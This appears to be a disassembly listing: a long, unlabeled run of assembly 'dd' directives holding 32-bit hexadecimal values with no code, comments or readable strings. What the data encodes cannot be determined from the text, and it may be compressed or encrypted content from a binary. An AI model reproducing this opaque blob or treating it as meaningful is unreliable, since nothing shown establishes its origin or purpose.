dd 0E84FF65Fh, 0D49887EBh, 0BA98F4AEh, 0A3FF2B00h, 0E76B20DDh
dd 3CB300C4h, 7AC2D3E8h, 0F4001BC9h, 3EE9A3A9h, 29BF843h
dd 0EC38604h, 0D4077D4h, 58004C94h, 4EFBA717h, 0F0CC7863h
dd 0F02A0020h, 6B43AF84h, 320399ADh, 0C90708F9h, 4447A898h
dd 8EE200B1h, 388387A3h, 8E90D0F6h, 2476DC0Eh, 987060A4h
dd 5C0412D2h, 73033D87h, 7EE056ACh, 0BB196CF8h, 0C9EED500h
dd 2229BC6h, 80139A1h, 2B092080h, 863483AEh, 0BADDAC00h
dd 938D4810h, 0AB21009Eh, 0DBCEE23Eh, 0B50027BCh, 5D16BFC9h
dd 86062Eh, 6DE712EAh, 4FF7C348h, 0F60018ECh, 30D9B76Eh
dd 16F0AFh, 0AABD250h, 0B81C048Dh, 53D1E09Dh, 89D300DEh
dd 0B5E830F9h, 4C0092F2h, 0FF5780EBh, 3E5A10E3h, 34802A11h
dd 931B9C36h, 0F1000270h, 377C1D3Fh, 0D6DBCDh, 43B0E4A0h
dd 9087E7F6h, 4A583500h, 0A5993363h, 0FC110377h, 7FDB0284h
dd 9DDD3488h, 7324DC60h, 0C5E7CFh, 0E0FAA3CAh, 55B28579h
dd 95F01D0Fh, 0CE03A02Ch, 3EF916h, 1AED84D3h, 9F4A6EA1h
dd 0AD5F2016h, 0C333D201h, 0A2C89CCBh, 53900A4h, 0F1ED6110h
dd 0B7001389h, 733F2B32h, 0BB5CBCh, 4A506912h, 252E8B9Bh
dd 45CA6C00h, 21850C61h, 74200009h, 0DA55881Ch, 0CD3B1EF5h
dd 80C6B829h, 4C7F6D8Bh, 13B6FABAh, 0FCA008h, 0D9C96938h
dd 2B00D024h, 66CBC407h, 0E268759Eh, 0BD4C0018h, 13446119h
dd 0DC001FD0h, 0CA456714h, 6A9EAEh, 6F65DB2Ah, 0EEB070E0h
dd 553C7A07h, 8CB0E251h, 38FBB1h, 0FE4AFF92h, 0B74D33C3h
dd 73609A00h, 7162802Bh, 85DE00E0h, 0B12A6E04h, 30000574h
dd 0F8C8AD23h, 0FFC45D3h, 965B9028h, 0C2803B5Ch, 0A0FEA6F1h
dd 361DFA0Fh, 8C02FE5h, 0DA56C618h, 0F65807E4h, 901E22BDh
dd 0C71FB17Ah, 680F9079h, 60E775BFh, 0D304A579h, 44C00716h
dd 80F24E67h, 42499CCAh, 81F16500h, 5F2878DFh, 3BB71E01h
dd 98DB8680h, 0F0090B6h, 0AC17AA09h, 1F3D59h, 0A8587E6Dh
dd 8B05ABB5h, 5313C80Fh, 0DF0CE02Ch, 705101B6h, 1ADE1CFAh
dd 2AA78034h, 0BC40F8BFh, 6FDC0600h, 9768D941h, 19DD0043h
dd 64B066B1h, 0BB0090FBh, 0BCAAEE92h, 1D2B50h, 9F686C1Eh
dd 1733D7B5h, 0A700D679h, 0C547B14Ch, 8B8F76h, 0F2D521C6h
dd 5D253DCFh, 1D46C800h, 998174E9h, 0A4E4008Fh, 2F5A7C26h
dd 7AEEC671h, 9A706101h, 51F204C9h, 111E8h, 0DC4A7454h
dd 82D344CBh, 34CCA800h, 5958FC32h, 0E07F0043h, 9223A0ACh
dd 0E17EFFC3h, 90844000h, 0CCE7B9DAh, 29D600FCh, 2AF4D1A8h
dd 85707667h, 57562700h, 7CE67FAEh, 11600045h, 2D1639D1h
dd 9000A8E4h, 6F55E5CAh, 0B9BC66h, 741EA4CCh, 0EFDC01C4h
dd 0E702E600h, 2441E07Dh, 0C0971D03h, 0AA498073h, 792CA77Ch
dd 0F3E2B700h, 745320B0h, 0B95038Eh, 6771EDA2h, 87BDFE80h
dd 7061A739h, 30DE841Fh, 0C0830E4Eh, 6DA9970Fh, 0F3230014h
dd 51908B9h, 3E0051FCh, 1675C43Dh, 2203B67h, 46B711Fh
dd 0E7C0445Eh, 797E9906h, 1C022EF2h, 0EED9A0A4h, 89CF80D3h
dd 3E6659B8h, 5B805E1Eh, 25DA147Eh, 7C001149h, 0F4A57024h
dd 0BBBE904h, 0F7C94EBEh, 0D836E980h, 87003C7Bh, 38DD85CEh
dd 3BB2FF26h, 0D4806F70h, 8A2528F4h, 0A1F8D146h, 5CEEFB00h
dd 0AE3A37Ch, 156C0E8Ch, 0CE4F221Ah, 582FC580h, 833E3ACFh
dd 0FAB60031h, 1B91D1B3h, 7EE244h, 7009E998h, 7D468188h
dd 10CEAD00h, 0DBC57443h, 5CBD00B7h, 3C8B4A4Eh, 2D1CA778h
dd 7600D5C1h, 925396F6h, 2B4300A4h, 0E5DD6B5h, 2F00CDF1h
dd 0BA720998h, 3FD5E71h, 5F260F1Bh, 6498E542h, 2C0037BFh
dd 54CC12D9h, 0B838C3h, 0C0D47F7Eh, 0F519E95Dh, 70FC9D00h
dd 313BF76Bh, 0F65700E0h, 0D362DD01h, 0AF0EBAC3h, 0E08CC27Bh
dd 0DC43F5E5h, 22E45Ch, 8AF615A8h, 91350B74h, 0EEDA900h
dd 4E9B3997h, 0ACFC000Ch, 4A9F481Bh, 1D24D78Ah, 54003772h
dd 8F7AEAF5h, 36C700E7h, 6CAC4CEEh, 531C25E2h, 50C007B2h
dd 0C1449619h, 0B9E300DFh, 0BEE6D6A1h, 173C8E40h, 0D7F100F3h
dd 0FA9E2B64h, 9AC700CDh, 0ADF93742h, 0BC074E1Ch, 48DC7A03h
dd 0E94A1460h, 97E007Dh, 5EFC57E1h, 64709281h, 614F9700h
dd 656BB238h, 0CFD20028h, 959CB651h, 0DF3841C0h, 7F028001h
dd 2DA65A24h, 9B080440h, 80B661B3h, 0AA1637BDh, 52B8F960h
dd 0EE8A1D34h, 7877008Fh, 0BF15AD71h, 6381832h, 28078072h
dd 4D7909D4h, 0DAA500A6h, 0C5666D88h, 83008DA1h, 166E3E0Bh
dd 0AA89Fh, 681AD30Ch, 0A99EE4C7h, 5236DA00h, 5DD5F68Ch
dd 2BEA00B9h, 4D67D224h, 0A30048BDh, 0E499022Fh, 48E9965Fh
dd 0AB0025ACh, 0DDC26179h, 4200387Bh, 1A59517h, 1E20731h
dd 9A58A632h, 0E4E84B82h, 0AF6AC71h, 0E9B29907h, 60605003h
dd 0F1062C6h, 0CA5A4CDFh, 1ABB57A0h, 71009C08h, 22128155h
dd 5A4C961h, 0DA420375h, 40AE807Dh, 9B5CB131h, 52D600CFh
dd 0C4B2590Ah, 9D5A004Dh, 0A7D367C8h, 0D100633Dh, 0A5F3A6EBh
dd 7CAFE21h, 0B5F10CAFh, 0B8E870FFh, 40031D20h, 74EE8744h
dd 4B639017h, 35800062h, 5F9ECF6Fh, 270A5702h, 0CE132AF0h
dd 0EE7A6B00h, 262547E7h, 0A27148h, 19B6388Dh, 9500A1A0h
dd 6A2A6DE8h, 0A084D244h, 75367FEh, 1A6477EEh, 426E16CAh
dd 0F7A6E300h, 9F1B297Dh, 9DAF00C7h, 528C7F9Ah, 23004DA9h
dd 0D09E80D2h, 7F33DEABh, 977BCFh, 351AEE7Ch, 3118B6BDh
dd 0E88DDF03h, 8078A0A3h
dd 0CECD60h, 5A283034h, 913CC847h, 0ED708900h, 8A3D809Bh
dd 6BF800EEh, 0AE4E033Eh, 0BEE63382h, 0E6729500h, 9F3B1DDCh
dd 6BCD007Eh, 0D63CD117h, 0BF00EFEBh, 0A2ECFB22h, 1B94F08h
dd 0ECA49DFh, 0C089B270h, 0CC00DA1Eh, 0A15579AFh, 3D742A5Ch
dd 2F1CB14Bh, 0CDFC408Ah, 48D5B33h, 0C02FE00h, 40267E82h
dd 397D0086h, 936512F0h, 46008BF6h, 34FBB43h, 1D7A6AE5h
dd 40ACF25Fh, 0ABA1ED55h, 61E8236h, 844B74DFh, 0B41781E6h
dd 56C49F8Fh, 26BA1C88h, 0D872402Ah, 0A4788D84h, 0C5679E00h
dd 36EB83CEh, 94F1005Fh, 0E2987F31h, 0AF00ABF5h, 8D6124DAh
dd 12FFD9h, 0A4E0B866h, 7B81C149h, 0E5587900h, 15605C7Ch
dd 0B1060023h, 47A59BE7h, 0FB001399h, 0BB647465h, 2257FEh
dd 0B31263DDh, 66BA4814h, 8BE24901h, 3396C105h, 0AC4EAF5h
dd 1C3400CAh, 0C6B30955h, 0E000A96Fh, 8DF29C37h, 0DC2D9Fh
dd 99AAE1DBh, 0D9D71CDDh, 34B7B807h, 0C4203C37h, 66395h
dd 0D12A45E8h, 2BB45BC6h, 0A13B3973h, 95118041h, 36829CE2h
dd 917500EBh, 0C23AFD3Bh, 0DC072C21h, 5CD1BA84h, 38F524C0h
dd 0E9D80003h, 27CE08Fh, 0C60F6D4Ch, 0C0D11BFFh, 3529F8EFh
dd 451200B9h, 7F82C0DBh, 0FC00FFB1h, 2425426h, 2A14A0h
dd 0B3D69068h, 0F6D3E1C4h, 0E5D50400h, 0B6118E6Ch, 14C70E93h
dd 554166F1h, 0DC8894BAh, 153975F4h, 0B367801Dh, 13341050h
dd 32C50504h, 8061A528h, 0BF552094h, 0BBB23B00h, 72904C73h
dd 58D0011h, 0A1A2379Bh, 600FAAF5h, 377AB3Ah, 0C864B981h
dd 16F35Dh, 0B87E3E17h, 0AD39B5BEh, 3BA3300h, 0B390521Ch
dd 88490F91h, 95E06DECh, 0F64696B8h, 8CE45A00h, 0CFF006B0h
dd 0FB8F0FC1h, 7640E374h, 6F81D544h, 0D107C00h, 2306A533h
dd 0D42B00B7h, 85706C2Eh, 2D00862Ah, 454AE7E8h, 1FF9C759h
dd 9F4EDAh, 7977E9D2h, 0FA00C8A5h, 0D002CB23h, 85D5C0h
dd 1DFD195Dh, 54F9896Ch, 2500D6F6h, 15BE87AEh, 0C109CFh
dd 867E91C2h, 0F980DFE5h, 0BAB60203h, 0A0F76F7Dh, 9B24BFh
dd 3B07BF2h, 9FC656A6h, 0D73E5307h, 64D0C9B5h, 0D5342Ch
dd 4BAB3115h, 52F009F5h, 4E20FF00h, 0E9B5DD60h, 0D7A0007Bh
dd 0CB0E4B76h, 9301DC6Bh, 635DE7ADh, 85D4D23Dh, 14DF07FEh
dd 0A0FFBBA8h, 0C11583F9h, 7CBF7901h, 4DEEC671h, 7444C4h
dd 11C87EBCh, 0B5E130AAh, 53CD0607h, 23F0468Eh, 7780CCh
dd 49F6C669h, 62749BF2h, 123EA900h, 7D2F4F61h, 86DA0EA1h
dd 0CA80FC5Eh, 6DE1A0FDh, 58ABC800h, 0F10FA7F2h, 86BE00D8h
dd 0E7F8EB95h, 8200D59Fh, 0F0A36BC0h, 0FB14CEh, 8DBFF209h
dd 0AD666960h, 8034253Bh, 38A5F84h, 0A0C7ECh, 5355F32Eh
dd 22D4940Ah, 91BF9800h, 0C263723Ah, 0F3A003D2h, 0A96E4050h
dd 80B7E3BBh, 10B0754Bh, 0F7580E00h, 57402E79h, 0FD6000E9h
dd 0CE3AAD1Ah, 661F5401h, 2802C7Ch, 0B1DBB752h, 185300CFh
dd 0D6ADDE1Bh, 3E009594h, 5444CCD4h, 897509h, 4CEAF08Ch
dd 4E8ECFBFh, 8D9FCA01h, 19C15647h, 1F7734F0h, 24C79795h
dd 8E280033h, 57084BB7h, 9924D8FEh, 3C0086ABh, 0EEA2D402h
dd 0A6DE6039h, 0B6E673E1h, 0C03F5000h, 4262835Ah, 29A43AA1h
dd 0CB483E01h, 80278D0Ch, 0C79A873Eh, 0CE6698h, 0B6A2E24Bh
dd 8FA92CB1h, 233ECC7Eh, 8E5D006Bh, 0E99289F6h, 0FDBD0140h
dd 0EB62D628h, 0B539E450h, 4844F139h, 2F820050h, 5C989A5h
dd 0B6F6001Dh, 0CB511A55h, 9D0039D3h, 24139CEEh, 30E411h
dd 76A90DF7h, 533FA8BFh, 43D9C300h, 0D82FEEFBh, 0C65002Ch
dd 10A46DF8h, 1DE8B93Eh, 0E79E972h, 99BE81Eh, 1A8D2C0h
dd 5CCC245Dh, 12000E96h, 0B16DE64h, 9900FB7Bh, 85AE684Ah
dd 94EA87h, 3E59A204h, 10B97408h, 0AC1EDB00h, 8AFCB6A5h
dd 0E5A800B0h, 7B5953FAh, 0BC00A628h, 921C9BD8h, 1E774451h
dd 0C007AA80h, 2731BB0Ch, 2900B0DEh, 83703D9Ah, 3C0F387Ah
dd 2A0B534Bh, 5D000DEAh, 76246777h, 0AC68A604h, 2280C527h
dd 0B49DF2h, 9EEFC48h, 0F8C0D814h, 67AD1800h, 538DAF0Fh
dd 0B47B68h, 0A84A96ABh, 6CF4ED63h, 9485E1Dh, 46857900h
dd 252F3h, 7F33FC87h, 0E65E92B0h, 19DDB201h, 0CB220B15h
dd 3BEB0DF0h, 780E7E0h, 66F691B7h, 2C079E28h, 0F36B306h
dd 3D8596A0h, 87F4E9A2h, 336B0E68h, 809F4D56h, 4A3A6FCBh
dd 0A103E42Dh, 662C807h, 0A6F3C0C4h, 0C029074Bh, 13E15483h
dd 0C9C08D9Dh, 0BF00CBCDh, 0ECA0A265h, 0F192FAh, 0DFC5FFC3h
dd 0EE0DA3DBh, 20783803h, 0F94D05Dh, 5E673954h, 4EA8B580h
dd 7A004B7Dh, 0B7EDC92Dh, 7A6DA036h, 54641C9Ah, 28028267h
dd 0E4401006h, 0E80BC13Ah, 803DAD27h, 4A3E1D50h, 327724FFh
dd 12100060h, 6122D0DDh, 30635506h, 1A0BD5h, 94E8B132h
dd 797A12D7h, 0AD0071ECh, 0FA816C9Dh, 3B82826h, 3F895C34h
dd 8BC0ED51h, 7158EB4Ch, 0CD9E00A9h, 0AB947519h, 0C250013h
dd 2652A216h, 0FA1C8AD4h, 0F0800D14h, 1121F169h, 0EC32006Ah
dd 24FFB3B2h, 8C001548h, 7AC7203Bh, 75AD04A8h, 4F7500F7h
dd 7BCD3553h, 0B100036Bh, 7E7160FBh, 0FA79F2h, 148319A5h
dd 3D688B1Bh, 43C70D01h, 9E0F4D69h, 7D0377ECh, 92701D8Ch
dd 15CD808Eh, 0DAA8C2E1h, 0BD865C00h, 4D3F87C0h, 0C960005Dh
dd 5A561407h, 34733825h, 709FFD03h, 0C895E133h, 53BF6h
dd 1C647EB3h, 9B623D79h, 82600F04h, 0EB809774h, 0E47DE32Fh
dd 52E500AFh, 5821178Ah, 76039624h, 32F1ED4Ah, 8283B85Dh
dd 0F5EF0034h, 152D9EF2h, 69038DB2h, 6111CAB7h, 753CD079h
dd 0D5F30080h, 0DDD7D129h, 7716C443h, 0CD00F141h, 63A270EEh
dd 19E0086h, 609F8E4Dh, 0EF009762h, 93CB6155h, 0BDE1571h
dd 0BC7A35CEh, 81398280h, 0F100284Eh, 70953436h, 0DB864Dh
dd 0B0272942h, 14580A66h, 7C795400h, 0E6FB533Ch, 0E57B006Bh
dd 0E9685B7Ah, 167F8348h, 0EC759D00h, 415DD460h, 1CA7365h
dd 0A5C9372Fh, 703EAFF2h, 7E00BD6Ch, 79214752h, 0EA5532h
dd 144411EEh, 60197301h, 480CC61Ch, 2E45C1C0h, 847FDh
dd 0F03991B2h, 6DD8590Fh, 5D2D5A0Fh, 29B18043h, 0BD5B1Bh
dd 2BBB7B0Ah, 0E9EF8483h, 0D2FC2F00h, 90E8B69Dh, 0C6C90046h
dd 4D4E9AE5h, 9200B5B7h, 0D33FBAC2h, 5CB8538Ah, 6700B22Ch
dd 0D7EBDCADh, 5E0326B6h, 0DF71AE30h, 4F7BC048h, 29080084h
dd 0B7D7A5A8h, 4E1E178Fh, 9781FBE6h, 7EE56707h, 485560h
dd 0D6DC2EF9h, 0F1EB432Ah, 0E7E41800h, 0F27336DBh, 0C1F2D7h
dd 0CC8294DDh, 569A14E6h, 0B380A600h, 0DA472732h, 5D6E008Dh
dd 0DF44AFD6h, 5100FDD1h, 93E3F560h, 23697Bh, 0A3332A09h
dd 0E7B89A75h, 81DE5B0Fh, 77ABC28Fh, 744AC073h, 511EE0Dh
dd 3F6CCC7Ch, 0C6FBC05Dh, 27749B35h, 4278AF00h, 92D0D111h
dd 0EB2D00DFh, 94F3C972h, 0F471C3B5h, 93355603h, 0F9FD971Fh
dd 0B06F5D42h, 1005585h, 0D7176678h, 0EF5E1Ah, 0EA260714h
dd 65714991h, 24E9E800h, 40A7A143h, 0F27500CAh, 9927B5EBh
dd 0DDE816CBh, 481C3Fh, 0BDB42A01h, 7AC2F6h, 69800E6Ch
dd 2CC9552h, 81B27300h, 9DA7E332h, 0E6317037h, 7E9C1FCEh
dd 0C9111E24h, 80FD1579h, 6AF74CF7h, 0AAB6096Fh, 8700A695h
dd 50FF8883h, 5FA5C100h, 0EFDE2C01h, 0DCB11FB7h, 690747FEh
dd 0E1373053h, 7207D142h
dd 0F7C52EEDh, 64C98D0h, 0B1400F8h, 0AC44A729h, 681FF056h
dd 280DC6Ch, 47F39B19h, 329400CFh, 0CAC7164Fh, 0F700D3B5h
dd 0DE45FBD1h, 3B4AFCCh, 0ADC10CA8h, 79E06DEFh, 6E008471h
dd 74AC7BB0h, 0CF702Eh, 137A391Ah, 62169399h, 0CB2B7628h
dd 0A8614A00h, 6B5C52D9h, 0C52203AEh, 316601D6h, 19099D88h
dd 1F577800h, 0BE687284h, 0D152003Ah, 0BC66CDDAh, 1D012AAAh
dd 9BDE2801h, 6020DBCCh, 37C985Ah, 7205BEF0h, 0CAD91CC6h
dd 71D1F08Eh, 5B34A707h, 0D4C337C3h, 83EFD86Eh, 9660507Dh
dd 7B0714Ch, 3CA51E0Fh, 2728500Ah, 0B100F0B6h, 31EFA240h
dd 7388B2h, 0D28D0E0Bh, 63936B5Eh, 0A606BF03h, 0B0C843D6h
dd 0A9202Ah, 0CD7AE128h, 0CBC0821Eh, 0FB35C500h, 13854664h
dd 1CDF00B2h, 0A2F0ED50h, 7E72B6BFh, 64D76303h, 0A83C0142h
dd 0F8A1D4C2h, 0EB70007Ch, 21B78379h, 0F000F83Bh, 1ABBB1CFh
dd 0E84FAFh, 4B20700Dh, 0E17E1795h, 9D601024h, 21EB0900h
dd 0EA6FE850h, 19BC004Ah, 9D014B55h, 0CE00D25Fh, 58735C92h
dd 79D7AE2Dh, 2E53009Bh, 6FD57F50h, 8E906AA7h, 0EFAF8D00h
dd 4BA1A033h, 52E40078h, 735FDA18h, 0F51DBB82h, 0AA40CA8Bh
dd 80C16509h, 0E39099h, 54ABF303h, 37DE1A06h, 0BECA9400h
dd 214D28Ch, 0A6750Ah, 52C47256h, 59FC98CCh, 36CE6907h
dd 8069BD8Bh, 67B83F6h, 0A5FEE2h, 8FE555D4h, 46C64F6Ch
dd 0ADE41400h, 0F3022B31h, 4E08005Ah, 0C7F0E25Bh, 8900E586h
dd 0EDC12DD3h, 0F5721Bh, 75787714h, 9C3E76Bh, 0A1A2C07h
dd 0BDF02E92h, 2469331h, 51E01701h, 0C263242Bh, 0E49FD7A1h
dd 77007DE5h, 71FFDD11h, 14592Ch, 3DBB4F24h, 96A945D4h
dd 0BC01C900h, 509223ADh, 0B2FAF2h, 603653F9h, 0CE0988A9h
dd 87A6E23Ch, 0A773547Eh, 9AC0BF25h, 0F354885h, 1F8EA9CAh
dd 62C43000h, 0B5006DAAh, 28654F46h, 386132h, 1AFAD970h
dd 5F204950h, 300B9900h, 0E9A8878Ah, 0FB22005Bh, 1F9757E1h
dd 20056BAh, 0FFB83850h, 10B7B37h, 39C3F47h, 20BB624Ah
dd 4F008ECAh, 942978A1h, 5A6B98h, 0C3F441ACh, 0A09531E3h
dd 1A48231Eh, 178C4FC0h, 1DD535h, 8581A9E8h, 0F6D2EC6Dh
dd 0A6003D7Eh, 0CE277C91h, 7CBA1B2Ch, 0E6A4008Eh, 35C10DC3h
dd 303CC017h, 0F80009Fh, 0F3790976h, 78F100F4h, 44AC1037h
dd 0CE007F83h, 0C8ED9BCCh, 0FE6109A4h, 5C2A002Eh, 69CC1D7h
dd 4700AF97h, 0E8A262F2h, 3B63C55h, 9669DEF6h, 57E8674Bh
dd 0A6EABBADh, 0AA3B892Ch, 0F72F09h, 6234326Ah, 6B800096h
dd 0BF1767D4h, 780083D0h, 0B359AC3h, 2795EBh, 6615762h
dd 63A9E56Dh, 9F43703Fh, 1D00835Dh, 8DA955Ah, 776100B4h
dd 4330B6E3h, 5874E0A5h, 0BA26C8FCh, 1300DBAFh, 22A806B5h
dd 70172D3h, 9C943A1Dh, 0B0DA47DBh, 449E0917h, 0B2BDAA00h
dd 775A9F75h, 0A91E00E5h, 259748C5h, 59039870h, 0D9AA56A1h
dd 2F9FA0D6h, 0A362008Bh, 1AFECD29h, 48016D2Bh, 44056B7Eh
dd 3AE891F4h, 0DC9D0590h, 0C77073FCh, 0E38B10FEh, 89006582h
dd 376CCEDFh, 2D8EA8h, 0A98F05D2h, 460FC45Ch, 1A527D00h
dd 0FBCC7920h, 0C8BD0090h, 0A3724D1Bh, 0C100CF7Ch, 58CB7E3Dh
dd 0F3FE08Ch, 0E79AE923h, 0B515B040h, 5F0E4838h, 804EBAD5h
dd 8A711FB8h, 44A2034Dh, 6DCE6C77h, 0FEA94BE0h, 6123902Ch
dd 0AB04700h, 1896B7h, 1CEE714Ah, 70B601EDh, 7641D000h
dd 0EF5CE495h, 901B00B2h, 0C0B7F29Fh, 103DD89h, 5A9224FFh
dd 3F5D986Ch, 763E2A7h, 0F5BE86D1h, 6A9D601Eh, 0BD00D90Ch
dd 2E50AA2Ah, 30B949Eh, 863E68DDh, 0DC901977h, 17000A1Dh
dd 0C0CFC960h, 0EED18847h, 244DE899h, 1DC6CB6h, 5091CB25h
dd 0D70BF81Fh, 0AD961400h, 0ABC3D906h, 7BDF2CE5h, 0BC2E00FBh
dd 0B172D013h, 2AEF9400h, 4948B2CBh, 9DAC07F6h, 0C08DAAC9h
dd 3B75306Fh, 58290100h, 0B7ABB018h, 0D6EE0009h, 0CE5AF905h
dd 5D006497h, 0D41FCC7Fh, 48399520h, 0F33FAEB8h, 0D6980487h
dd 6E91604Fh, 0D900A448h, 0E19310FFh, 78B62C1Ch, 0C61305B4h
dd 0C108B995h, 0ECA46BC7h, 0B00416Dh, 0DBFEA55h, 5CB280h
dd 34A2D364h, 51DD744Eh, 0F89A6801h, 7BE601BEh, 3D5FF8h
dd 12A41A64h, 49EE5D0Fh, 0FD3A07ECh, 3445814Dh, 610C1588h
dd 2CCE78CCh, 0D304B2h, 82520E29h, 0C93AFD5Eh, 4C79803Ch
dd 76887D74h, 0CB49488Fh, 50E78400h, 0E64B9A6h, 0BC0029FCh
dd 5D7A960Ah, 335C68h, 7B77301Bh, 6CDD73C9h, 0D1079CF6h
dd 86F8CE0h, 8ED921FFh, 5EDDA24Bh, 5C22D4h, 6A13B48Bh
dd 5F9941C3h, 606E4D00h, 0AC5DD19Eh, 2CEF004Eh, 0E1828885h
dd 773D9264h, 6FB8071Fh, 7287734Ch, 0D34A3CF0h, 0ECAD00B9h
dd 93E28DEAh, 67001BDDh, 19EF5079h, 110A081h, 0C918F8CCh
dd 0FC4E99A8h, 0A51DABE7h, 59C5D4BFh, 0F48056ECh, 2EF0C4h
dd 1336B3AFh, 4A08EA8Ah, 83D44E0Fh, 75F940FAh, 4820EE1Bh
dd 2F00985Ch, 4003B4FDh, 370FD292h, 4017E42Dh, 46D9F158h
dd 650D0BB0h, 0D8009793h, 73F84AB5h, 5700BFEEh, 83F12D08h
dd 13BEE7D5h, 90FA42h, 3098EF19h, 290F9232h, 0C0CA8439h
dd 0D2F0687Ah, 0C97DA3h, 0B8D4AF4Bh, 24E53AF9h, 33543900h
dd 99B6DBB1h, 69BC00BDh, 0E3D67A02h, 1000EEC3h, 0E5598AD9h
dd 860A61h, 0B8624305h, 11B05890h, 335EB100h, 0A8868E1h
dd 0CB4B003Ch, 0C6CA7B19h, 3D00A878h, 0DD9FF308h, 1F79C34h
dd 0FF358696h, 60B3DEDAh, 8002CC8h, 0E63F8B53h, 0E80B7h
dd 14EF2E9Eh, 0B8C9200Bh, 4EED8D00h, 13E76658h, 0FF7AB1h
dd 6BE3F9B7h, 6A75997Eh, 0E126300h, 6E3C1C42h, 0B13F00DBh
dd 25EF8D1h, 9F034A45h, 0F3F7FA93h, 348FA0FEh, 6AD100A8h
dd 9FC3022h, 0AB7E42F8h, 0ED31E600h, 253BC274h, 5BA70063h
dd 6E8422C9h, 1E00FA6Ch, 0CFB1C4B9h, 3C99B2h, 0A62EC621h
dd 7BE2D390h, 0B984550Bh, 0A9CF8002h, 9789CEh, 934A4727h
dd 1563F831h, 61CC8300h, 2BE52ABBh, 3D810029h, 3F01DA5Dh
dd 0F7762516h, 1326F101h, 91C4B1F0h, 8CEBB06Ah, 0FA4D2800h
dd 519E87ABh, 86991D8Dh, 807CC0F6h, 0F254D3B5h, 696A4907h
dd 82D79212h, 19E0C280h, 900E00A1h, 0A4B6BF8Eh, 1E0102B5h
dd 4015EDC3h, 8FD4EAE5h, 0F3F1D28h, 0E35940D8h, 0D7653336h
dd 35C28D1Ch, 0E916B500h, 1E84F2D2h, 123D90Dh, 0FB28D120h
dd 7C3E60AEh, 80264E27h, 0D533A01h, 0D26700B9h, 0B39B61ABh
dd 84009931h, 0DA93493Fh, 7EBDDBEh, 0C9F43BD9h, 0EAC6311Dh
dd 38D7F8A1h, 6A675600h, 5721372Fh, 3C8C3C79h, 3B96DB0Bh
dd 7055007Dh, 6FA2BAh, 9E2D9A4Eh, 0C02C2FDh, 0C1582472h
dd 0AEFC0489h, 75C0B88Dh, 0A2F37Ah, 5AD14ED8h, 89B24D1Fh
dd 7751DE00h, 9B05B645h, 2A4200D2h, 35D74764h, 6201A3A5h
dd 6D5B33ABh, 0D1CC6F16h, 0FFF739E4h, 1EBF8D81h, 0E80C8F22h
dd 0D43861D2h, 0E2CF8E54h, 0FA7EA063h, 5524E9h, 713DF738h
dd 1ADC3101h, 0DD03E17Ah, 79B2E6F3h, 0BD02F016h, 303703EFh
dd 0C042F969h, 530AB1EFh, 73B8F494h, 3A922B00h, 496A9EB0h
dd 39AD0006h, 0CDAA33DFh, 0C9700B45h, 0F0C33B07h, 0B1104C72h
dd 775A59Fh, 94E9D913h, 1A89E05Dh, 0FF005912h, 25402158h
dd 0EE961824h, 31EC076Eh, 0A9B5AF23h, 1E436300h, 0C100A968h
dd 0FE4820CFh, 0D4EDBCh
dd 560F5B22h, 64B10514h, 7490DFEAh, 28DA6500h, 0C423CAD1h
dd 0BA4D0771h, 0A0BFEBE3h, 0D2896CF3h, 46B61C00h, 36995B53h
dd 875162Fh, 63AB00C3h, 0EF9F6E52h, 0C9D0AB00h, 1F6BBCF9h
dd 0FBE601C5h, 17D2B074h, 3EDDE854h, 0F7DC3A00h, 870FA0E3h
dd 8EB10341h, 8893D8DEh, 2DA9EACBh, 503DF84Fh, 70105700h
dd 981E747Fh, 15590017h, 562A34BBh, 53F8C5CBh, 264C4900h
dd 0C11A75A2h, 4F10046h, 2B106DD0h, 91F8D67h, 3D012DADh
dd 8351B987h, 5760D461h, 7E3EF0DBh, 0D8DA0B45h, 0FFDDD1h
dd 0C2656FEAh, 0F12F01C7h, 0F5989A67h, 0A657D87Dh, 9CC63601h
dd 0D8314F60h, 3ECC9DD0h, 0AC00047Bh, 0F68D7E9h, 4F00CDC1h
dd 0B5B7BA1Ch, 0E8B18Fh, 956EEB86h, 5A4CBBA9h, 50CF2748h
dd 0C50050EAh, 7BA4142Ah, 0E8E2613h, 30F6D785h, 0C828F020h
dd 0B628DF19h, 5001F79Dh, 949E312h, 6FFC7075h, 730500B9h
dd 0D8BF82AFh, 0A03ADA92h, 0F1CD80EEh, 0C233F15h, 5BBC009Dh
dd 0FC246959h, 391C2143h, 0BA16AA6Dh, 4F207D0Eh, 925400FEh
dd 1DC5ADEEh, 8935604Ch, 0C004245h, 0CF28A14h, 0CD840E00h
dd 595E0B04h, 0C28907B0h, 0B073A97Ah, 0F6FBFFD6h, 0C4796405h
dd 0D480DFA8h, 544012h, 0BA93623Fh, 0E94B286Bh, 0EBEDF300h
dd 7FB8F2A3h, 0A173F49Bh, 2F70F0BAh, 4D941CD3h, 0FA7DA0h
dd 0F4E9C4AEh, 0B47D3148h, 783333Fh, 24710F2h, 2C479167h
dd 0AF7243E0h, 0D0600F0h, 9FD323F6h, 5D07EE03h, 0F530B090h
dd 167B48A0h, 0A1C73D21h, 3B89F90Eh, 8FA92440h, 1F074E9Bh
dd 2184AD56h, 0A52B4920h, 12AF8ACh, 1303AFCEh, 9CED0828h
dd 0F380F7D6h, 3DC3C407h, 0B6F400FDh, 0F21B14CCh, 6A062E52h
dd 0FAE4D235h, 0C10407F2h, 9B82F88h, 0FEBABA87h, 0A7308480h
dd 0E624D4E3h, 803E329Ch, 1A86AA0Eh, 1C694B4Fh, 0C0C8BEC6h
dd 46E87EFEh, 44EC411Ch, 8C73Fh, 0F9C56F50h, 5B2AFB3h
dd 3662E70h, 0E60980CBh, 0D700914Dh, 5779C43Ah, 0E44885Bh
dd 0F5867BDDh, 0F2F031A0h, 6C073E75h, 0E69A6D35h, 0B5B69500h
dd 0DF8300BBh, 34E732C2h, 71CDBEAh, 94C1461Dh, 6B706A4Fh
dd 73906C8h, 0DA518043h, 0C09BD7F2h, 3F5E44CBh, 0CD7618EEh
dd 0B868A100h, 867A4892h, 0A57C23h, 65566CEEh, 0E53810ACh
dd 8178ED00h, 0B4A776DAh, 264600E1h, 0C601871h, 0B800DDAFh
dd 0EC62A93h, 0CC8F8Ch, 0F3B73C05h, 7FF7B32h, 63FBB100h
dd 2CA891E0h, 0D1E8BCh, 814C9964h, 8D3BE8DCh, 0DEFB3E03h
dd 0D86D7CA7h, 6FFB3F5h, 0F4F3F9F6h, 351F384Ch, 7D806C3Bh
dd 0B3A00624h, 951D24EFh, 0CA64003Fh, 0F40153B4h, 0EE341500h
dd 0D96B77Bh, 0BE6F0029h, 77C61311h, 8F010B1Eh, 9EC15DD7h
